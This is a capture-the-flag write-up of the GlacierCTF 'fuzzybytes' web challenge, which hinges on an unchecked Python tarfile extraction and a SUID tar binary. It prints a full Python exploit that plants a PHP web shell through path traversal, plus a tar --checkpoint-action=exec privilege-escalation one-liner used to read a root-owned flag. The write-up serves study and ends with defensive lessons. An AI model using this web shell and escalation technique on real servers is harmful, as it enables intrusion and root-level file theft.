GlacierCTF web/fuzzybytes
My solution for GlacierCTF web/fuzzybytes challenge
Challenge overview
The fuzzybytes
challenge presents a web application that allows users to upload .tar.gz
files for malware scanning. The application extracts and processes these files using Python’s tarfile module and the system’s tar utility.
Application structure
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
app
├── check_for_malicious_code.py
├── config
│ └── php.ini
├── deploy.sh
├── Dockerfile
├── flag.txt
├── sha256sum
└── web
├── about.php
├── contact.php
├── database.php
├── databases
│ ├── AfeeKing.db
│ ├── Avost.db
│ ├── ByteAttacker.db
│ ├── Malwarebit.db
│ └── nartan.db
├── footer.php
├── header.php
├── index.php
├── privacy.php
├── styles.css
└── upload.php
The application consists of several key components:
PHP Upload Handler The web interface uses PHP to handle file uploads, with basic extension checks:
1
2
3
4
if ($fileExtension === 'gz') {
addLog("Scanning file...");
exec("python3 /usr/check_for_malicious_code.py " . escapeshellarg($targetFile), $output, $returnCode);
}
check_for_malicious_code.py A Python script processes the uploaded files:
1
2
3
4
with tarfile.open(tar_file_path, 'r:gz') as tar:
if not os.path.exists("/tmp/files_for_checking"):
os.mkdir("/tmp/files_for_checking")
tar.extractall("/tmp/files_for_checking")
Dockerfile The Docker configuration reveals a critical security misconfiguration:
1
RUN chmod +s /bin/tar
The tar binary has the SUID bit set, allowing it to run with elevated privileges.
Analysis
The vulnerability stems from two key issues:
- Insecure tar extraction: The Python script extracts tar files without properly validating their contents or restricting the extraction path.
- SUID tar binary: The tar binary running with SUID permissions can be exploited to read files as root.
Exploitation
The exploit involves two steps:
- Create a malicious tar file that places a PHP web shell using directory traversal
- Use the web shell to trigger the SUID tar exploit to read the flag
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import tarfile
import io
# This PHP code uses tar's SUID privileges to:
# 1. Create a tar archive of /dev/null (dummy operation)
# 2. Use --checkpoint and --checkpoint-action to execute a command when tar hits checkpoint 1
# 3. The executed command creates a new tar of flag.txt and extracts it directly to a readable location
php_code = """<?php
system("/bin/tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec='/bin/tar -cf - /root/flag.txt | /bin/tar -xf - -O > /var/www/html/flag.txt'");
?>"""
data = php_code.encode("utf-8")
with tarfile.open("exploit.tar.gz", "w:gz") as tar:
# Try directory traversal to escape /tmp/files_for_checking
info = tarfile.TarInfo(name="../../var/www/html/trigger.php")
info.size = len(data)
tar.addfile(tarinfo=info, fileobj=io.BytesIO(data))
# Also try absolute path as backup
info = tarfile.TarInfo(name="/var/www/html/trigger.php")
info.size = len(data)
tar.addfile(tarinfo=info, fileobj=io.BytesIO(data))
Exploitation steps:
- Upload the crafted
exploit.tar.gz
file - Visit
/trigger.php
to execute the SUID tar exploit - Access
/flag.txt
to retrieve the flag
The tar checkpoint exploit uses the following technique:
1
tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec='command'
This executes the specified command with SUID privileges when tar hits its first checkpoint.
Conclusion
The fuzzybytes challenge demonstrates the dangers of:
- insecure file extraction without proper path validation
- SUID binaries that can be leveraged for privilege escalation
- insufficient input validation in file upload functionality
Key takeaways
- Secure file extraction: Always validate and sanitize paths when extracting archives
- Principle of least privilege: Avoid using SUID bits unless absolutely necessary
- Input validation: Implement thorough validation for all user-supplied inputs, including file contents